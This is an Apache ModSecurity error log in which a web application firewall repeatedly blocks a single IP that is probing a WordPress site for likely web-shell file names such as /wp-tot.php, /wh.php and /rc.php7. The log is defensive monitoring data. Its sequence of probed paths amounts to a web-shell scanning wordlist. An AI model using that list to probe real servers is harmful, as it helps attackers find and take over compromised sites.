[Mon Apr 13 03:21:10.553915 2026] [:error] [pid 31607:tid 31750] [client 20.151.218.28:31558] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bsr.php"] [unique_id "advwpmjn_I-KYTWngjJQzgAAAI0"]
[Mon Apr 13 03:21:10.962673 2026] [:error] [pid 31607:tid 31742] [client 20.151.218.28:31670] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bsr.php"] [unique_id "advwpmjn_I-KYTWngjJQ0QAAAIU"]
[Mon Apr 13 03:21:11.373451 2026] [:error] [pid 31607:tid 31753] [client 20.151.218.28:31613] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ans.php"] [unique_id "advwp2jn_I-KYTWngjJQ1QAAAJA"]
[Mon Apr 13 03:21:11.786175 2026] [:error] [pid 31607:tid 31737] [client 20.151.218.28:31624] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ans.php"] [unique_id "advwp2jn_I-KYTWngjJQ1wAAAIA"]
[Mon Apr 13 03:21:12.200761 2026] [:error] [pid 31605:tid 31649] [client 20.151.218.28:31563] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ans.php"] [unique_id "advwqG9Py-Y-9VQ02eHiVwAAAAY"]
[Mon Apr 13 03:21:12.610990 2026] [:error] [pid 31607:tid 31752] [client 20.151.218.28:31645] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ans.php"] [unique_id "advwqGjn_I-KYTWngjJQ2QAAAI8"]
[Mon Apr 13 03:21:13.020138 2026] [:error] [pid 54671:tid 54695] [client 20.151.218.28:31500] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-tot.php"] [unique_id "advwqWyJMmaONUqF0tCx8gAAARQ"]
[Mon Apr 13 03:21:13.428864 2026] [:error] [pid 31606:tid 31726] [client 20.151.218.28:31573] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-tot.php"] [unique_id "advwqT9vCsshNhLmCiCQjQAAAFQ"]
[Mon Apr 13 03:21:13.837167 2026] [:error] [pid 31607:tid 31756] [client 20.151.218.28:31676] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-tot.php"] [unique_id "advwqWjn_I-KYTWngjJQ3AAAAJM"]
[Mon Apr 13 03:21:14.246939 2026] [:error] [pid 31606:tid 31711] [client 20.151.218.28:31612] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-tot.php"] [unique_id "advwqj9vCsshNhLmCiCQjwAAAEU"]
[Mon Apr 13 03:21:14.657372 2026] [:error] [pid 31606:tid 31716] [client 20.151.218.28:31651] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Core-wp.php"] [unique_id "advwqj9vCsshNhLmCiCQkwAAAEo"]
[Mon Apr 13 03:21:15.069503 2026] [:error] [pid 31605:tid 31655] [client 20.151.218.28:31502] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Core-wp.php"] [unique_id "advwq29Py-Y-9VQ02eHiWwAAAAw"]
[Mon Apr 13 03:21:15.480916 2026] [:error] [pid 31605:tid 31656] [client 20.151.218.28:31536] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Core-wp.php"] [unique_id "advwq29Py-Y-9VQ02eHiXQAAAA0"]
[Mon Apr 13 03:21:15.889926 2026] [:error] [pid 32010:tid 32014] [client 20.151.218.28:31575] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Core-wp.php"] [unique_id "advwqw0nq-t9pXyV1fzDCgAAAMI"]
[Mon Apr 13 03:21:25.424979 2026] [:error] [pid 32010:tid 32035] [client 20.151.218.28:31662] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wh.php"] [unique_id "advwtQ0nq-t9pXyV1fzDOQAAANc"]
[Mon Apr 13 03:21:25.834901 2026] [:error] [pid 31606:tid 31708] [client 20.151.218.28:31580] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wh.php"] [unique_id "advwtT9vCsshNhLmCiCQoQAAAEI"]
[Mon Apr 13 03:21:26.244202 2026] [:error] [pid 31607:tid 31746] [client 20.151.218.28:31736] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wh.php"] [unique_id "advwtmjn_I-KYTWngjJQ8QAAAIk"]
[Mon Apr 13 03:21:26.656041 2026] [:error] [pid 31607:tid 31748] [client 20.151.218.28:31544] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wh.php"] [unique_id "advwtmjn_I-KYTWngjJQ8wAAAIs"]
[Mon Apr 13 03:21:27.071284 2026] [:error] [pid 31606:tid 31713] [client 20.151.218.28:31555] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/luf.php"] [unique_id "advwtz9vCsshNhLmCiCQpgAAAEc"]
[Mon Apr 13 03:21:27.480732 2026] [:error] [pid 31607:tid 31757] [client 20.151.218.28:31583] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/luf.php"] [unique_id "advwt2jn_I-KYTWngjJQ9wAAAJQ"]
[Mon Apr 13 03:21:27.892057 2026] [:error] [pid 31607:tid 31741] [client 20.151.218.28:31658] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/luf.php"] [unique_id "advwt2jn_I-KYTWngjJQ-QAAAIQ"]
[Mon Apr 13 03:21:28.311421 2026] [:error] [pid 54671:tid 54689] [client 20.151.218.28:31608] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/luf.php"] [unique_id "advwuGyJMmaONUqF0tCyKQAAAQ4"]
[Mon Apr 13 03:21:28.721666 2026] [:error] [pid 54671:tid 54698] [client 20.151.218.28:31638] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bs2.php"] [unique_id "advwuGyJMmaONUqF0tCyKgAAARc"]
[Mon Apr 13 03:21:29.132477 2026] [:error] [pid 54671:tid 54688] [client 20.151.218.28:31585] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bs2.php"] [unique_id "advwuWyJMmaONUqF0tCyLgAAAQ0"]
[Mon Apr 13 03:21:29.555508 2026] [:error] [pid 31606:tid 31726] [client 20.151.218.28:31565] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bs2.php"] [unique_id "advwuT9vCsshNhLmCiCQrQAAAFQ"]
[Mon Apr 13 03:21:29.965932 2026] [:error] [pid 31606:tid 31711] [client 20.151.218.28:31553] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bs2.php"] [unique_id "advwuT9vCsshNhLmCiCQrwAAAEU"]
[Mon Apr 13 03:21:30.375666 2026] [:error] [pid 31606:tid 31729] [client 20.151.218.28:31598] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wf.php"] [unique_id "advwuj9vCsshNhLmCiCQsQAAAFc"]
[Mon Apr 13 03:21:30.784943 2026] [:error] [pid 54671:tid 54679] [client 20.151.218.28:31642] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wf.php"] [unique_id "advwumyJMmaONUqF0tCyNAAAAQQ"]
[Mon Apr 13 03:21:31.195310 2026] [:error] [pid 31607:tid 31738] [client 20.151.218.28:31703] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wf.php"] [unique_id "advwu2jn_I-KYTWngjJQ_QAAAIE"]
[Mon Apr 13 03:21:31.606002 2026] [:error] [pid 31605:tid 31659] [client 20.151.218.28:31505] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wf.php"] [unique_id "advwu29Py-Y-9VQ02eHigQAAABA"]
[Mon Apr 13 03:21:32.015554 2026] [:error] [pid 31605:tid 31665] [client 20.151.218.28:31685] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vcard.php"] [unique_id "advwvG9Py-Y-9VQ02eHihAAAABY"]
[Mon Apr 13 03:21:32.426349 2026] [:error] [pid 31605:tid 31647] [client 20.151.218.28:31508] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vcard.php"] [unique_id "advwvG9Py-Y-9VQ02eHihgAAAAQ"]
[Mon Apr 13 03:21:32.835119 2026] [:error] [pid 31607:tid 31749] [client 20.151.218.28:31494] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vcard.php"] [unique_id "advwvGjn_I-KYTWngjJRAgAAAIw"]
[Mon Apr 13 03:21:33.244479 2026] [:error] [pid 31606:tid 31726] [client 20.151.218.28:31714] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vcard.php"] [unique_id "advwvT9vCsshNhLmCiCQugAAAFQ"]
[Mon Apr 13 03:21:33.653423 2026] [:error] [pid 31607:tid 31741] [client 20.151.218.28:31595] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/file2.php"] [unique_id "advwvWjn_I-KYTWngjJRAwAAAIQ"]
[Mon Apr 13 03:21:34.062079 2026] [:error] [pid 31606:tid 31722] [client 20.151.218.28:31532] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/file2.php"] [unique_id "advwvj9vCsshNhLmCiCQvQAAAFA"]
[Mon Apr 13 03:21:34.473094 2026] [:error] [pid 31605:tid 31649] [client 20.151.218.28:31606] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/file2.php"] [unique_id "advwvm9Py-Y-9VQ02eHijQAAAAY"]
[Mon Apr 13 03:21:34.883026 2026] [:error] [pid 31606:tid 31731] [client 20.151.218.28:31562] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/file2.php"] [unique_id "advwvj9vCsshNhLmCiCQwgAAAFg"]
[Mon Apr 13 03:21:35.293883 2026] [:error] [pid 31606:tid 31713] [client 20.151.218.28:31644] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ddgg.php"] [unique_id "advwvz9vCsshNhLmCiCQxAAAAEc"]
[Mon Apr 13 03:21:35.704708 2026] [:error] [pid 32010:tid 32036] [client 20.151.218.28:31673] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ddgg.php"] [unique_id "advwvw0nq-t9pXyV1fzDQQAAANg"]
[Mon Apr 13 03:21:36.113164 2026] [:error] [pid 32010:tid 32025] [client 20.151.218.28:31640] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ddgg.php"] [unique_id "advwwA0nq-t9pXyV1fzDRgAAAM0"]
[Mon Apr 13 03:21:36.522557 2026] [:error] [pid 31606:tid 31720] [client 20.151.218.28:31678] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ddgg.php"] [unique_id "advwwD9vCsshNhLmCiCQyAAAAE4"]
[Mon Apr 13 03:21:36.937279 2026] [:error] [pid 31605:tid 31667] [client 20.151.218.28:31550] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rc.php7"] [unique_id "advwwG9Py-Y-9VQ02eHikQAAABg"]
[Mon Apr 13 03:21:37.349856 2026] [:error] [pid 31607:tid 31753] [client 20.151.218.28:31520] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rc.php7"] [unique_id "advwwWjn_I-KYTWngjJRDQAAAJA"]
[Mon Apr 13 03:21:37.759946 2026] [:error] [pid 32010:tid 32022] [client 20.151.218.28:31614] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rc.php7"] [unique_id "advwwQ0nq-t9pXyV1fzDTQAAAMo"]
[Mon Apr 13 03:21:38.170279 2026] [:error] [pid 31607:tid 31755] [client 20.151.218.28:31510] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rc.php7"] [unique_id "advwwmjn_I-KYTWngjJREAAAAJI"]
[Mon Apr 13 03:21:38.585946 2026] [:error] [pid 31607:tid 31737] [client 20.151.218.28:31524] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/indo.php"] [unique_id "advwwmjn_I-KYTWngjJREwAAAIA"]
[Mon Apr 13 03:21:38.995282 2026] [:error] [pid 54671:tid 54684] [client 20.151.218.28:31599] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/indo.php"] [unique_id "advwwmyJMmaONUqF0tCyRAAAAQk"]
[Mon Apr 13 03:21:39.408092 2026] [:error] [pid 31605:tid 31655] [client 20.151.218.28:31720] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/indo.php"] [unique_id "advww29Py-Y-9VQ02eHikwAAAAw"]
[Mon Apr 13 03:21:39.819552 2026] [:error] [pid 32010:tid 32014] [client 20.151.218.28:31525] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/indo.php"] [unique_id "advwww0nq-t9pXyV1fzDVAAAAMI"]
[Mon Apr 13 03:21:40.231665 2026] [:error] [pid 54671:tid 54696] [client 20.151.218.28:31460] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pu.php"] [unique_id "advwxGyJMmaONUqF0tCyRwAAARU"]
[Mon Apr 13 03:21:40.644402 2026] [:error] [pid 31605:tid 31656] [client 20.151.218.28:31488] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pu.php"] [unique_id "advwxG9Py-Y-9VQ02eHilAAAAA0"]
[Mon Apr 13 03:21:41.054927 2026] [:error] [pid 54671:tid 54682] [client 20.151.218.28:31495] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pu.php"] [unique_id "advwxWyJMmaONUqF0tCyTQAAAQc"]
[Mon Apr 13 03:21:41.464762 2026] [:error] [pid 54671:tid 54698] [client 20.151.218.28:31657] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pu.php"] [unique_id "advwxWyJMmaONUqF0tCyTwAAARc"]
[Mon Apr 13 03:21:41.876498 2026] [:error] [pid 31605:tid 31657] [client 20.151.218.28:31561] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/docs.php"] [unique_id "advwxW9Py-Y-9VQ02eHilwAAAA4"]
[Mon Apr 13 03:21:42.287592 2026] [:error] [pid 31607:tid 31748] [client 20.151.218.28:31511] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/docs.php"] [unique_id "advwxmjn_I-KYTWngjJRGwAAAIs"]
